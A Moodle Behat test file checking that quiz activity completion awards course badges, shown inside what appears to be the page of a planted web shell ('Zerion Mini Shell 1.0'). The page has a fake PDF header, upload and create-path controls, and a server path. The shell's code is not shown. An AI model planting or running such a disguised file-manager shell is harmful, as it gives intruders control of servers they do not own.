%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/ava/badges/tests/behat/
Upload File :
Create Path :
Current File : /home/vacivi36/ava/badges/tests/behat/criteria_activity.feature

@mod @mod_quiz @core @core_badges @_file_upload @javascript
Feature: Award badges based on activity completion
  In order to ensure a student has learned the material before being marked complete
  As a teacher
  I need to set a quiz to award a badge when upon completion when the student receives a passing grade, or completed_fail if they use all attempts without passing

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email                |
      | student1 | Student   | 1        | student1@example.com |
      | student2 | Student   | 1        | student2@example.com |
      | teacher1 | Teacher   | 1        | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | category | enablecompletion |
      | Course 1 | C1        | 0        | 1                |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
      | student1 | C1     | student        |
      | student2 | C1     | student        |
    And the following config values are set as admin:
      | grade_item_advanced | hiddenuntil |
    And the following "question categories" exist:
      | contextlevel | reference | name           |
      | Course       | C1        | Test questions |
    And the following "questions" exist:
      | questioncategory | qtype     | name           | questiontext              |
      | Test questions   | truefalse | First question | Answer the first question |
    And the following "activities" exist:
      | activity   | name           | course | idnumber | attempts | gradepass | completion | completionattemptsexhausted | completionpassgrade | completionusegrade |
      | quiz       | Test quiz name | C1     | quiz1    | 2        | 5.00      | 2          | 1                           | 1                   | 1                  |
    And quiz "Test quiz name" contains the following questions:
      | question       | page |
      | First question | 1    |
    And user "student1" has attempted "Test quiz name" with responses:
      | slot | response |
      |   1  | False    |
    And user "student2" has attempted "Test quiz name" with responses:
      | slot | response |
      |   1  | False    |
    And I log in as "teacher1"
    And I am on "Course 1" course homepage
    And I change window size to "large"
    And I navigate to "Badges > Add a new badge" in current page administration
    And I set the following fields to these values:
      | Name | Course Badge |
      | Description | Course badge description |
    And I upload "badges/tests/behat/badge.png" file to "Image" filemanager
    And I press "Create badge"

  Scenario: Student earns a badge using activity completion, but does not get passing grade
    Given I am on the "Course 1" course page logged in as teacher1
    And I navigate to "Badges" in current page administration
    And I press "Manage badges"
    And I follow "Course Badge"
    And I select "Criteria" from the "jump" singleselect
    And I set the field "type" to "Activity completion"
    And I set the field "Quiz - Test quiz name" to "1"
    And I press "Save"
    And I press "Enable access"
    And I press "Continue"
    And I should see "Recipients (0)"
    And I log out
    And I am on the "Course 1" course page logged in as student1
    And the "Receive a grade" completion condition of "Test quiz name" is displayed as "done"
    And the "Receive a passing grade" completion condition of "Test quiz name" is displayed as "failed"
    And the "Receive a pass grade or complete all available attempts" completion condition of "Test quiz name" is displayed as "todo"
    When I am on the "Test quiz name" "quiz activity" page
    And I press "Re-attempt quiz"
    And I set the field "False" to "1"
    And I press "Finish attempt ..."
    And I press "Submit all and finish"
    And I click on "Submit" "button" in the "Submit all your answers and finish?" "dialogue"
    And I log out

    And I am on the "Course 1" course page logged in as teacher1
    And I navigate to "Badges > Manage badges" in current page administration
    And I follow "Course Badge"
    Then I should see "Recipients (1)"

  Scenario Outline: Previously graded pass/fail students should earn a badge after enabling a badge
    Given I am on the "Course 1" course page logged in as teacher1
    And I navigate to "Badges" in current page administration
    And I press "Manage badges"
    And I follow "Course Badge"
    And I select "Criteria" from the "jump" singleselect
    And I set the field "type" to "Activity completion"
    And I click on "Expand all" "link"
    And I set the field "Quiz - Test quiz name" to "1"
    And I set the field "<aggregationcriteria>" to "1"
    And I press "Save"

    # Fail grade with student2
    And I am on the "Course 1" course page logged in as student2
    And I am on the "Test quiz name" "quiz activity" page
    And I press "Re-attempt quiz"
    And I set the field "False" to "1"
    And I press "Finish attempt ..."
    And I press "Submit all and finish"
    And I click on "Submit" "button" in the "Submit all your answers and finish?" "dialogue"
    And I log out

    # Pass grade with student1
    And I am on the "Course 1" course page logged in as student1
    And I am on the "Test quiz name" "quiz activity" page
    And I press "Re-attempt quiz"
    And I set the field "False" to "0"
    And I press "Finish attempt ..."
    And I press "Submit all and finish"
    And I click on "Submit" "button" in the "Submit all your answers and finish?" "dialogue"
    And I log out

    # Enable badge access once all students have completed an activity.
    And I am on the "Course 1" course page logged in as teacher1
    And I navigate to "Badges > Manage badges" in current page administration
    And I follow "Course Badge"
    When I press "Enable access"
    And I press "Continue"
    Then I should see "Recipients (2)"

    Examples:
      | aggregationcriteria                         |
      | Any of the selected activities is complete  |
      | All of the selected activities are complete |

Zerion Mini Shell 1.0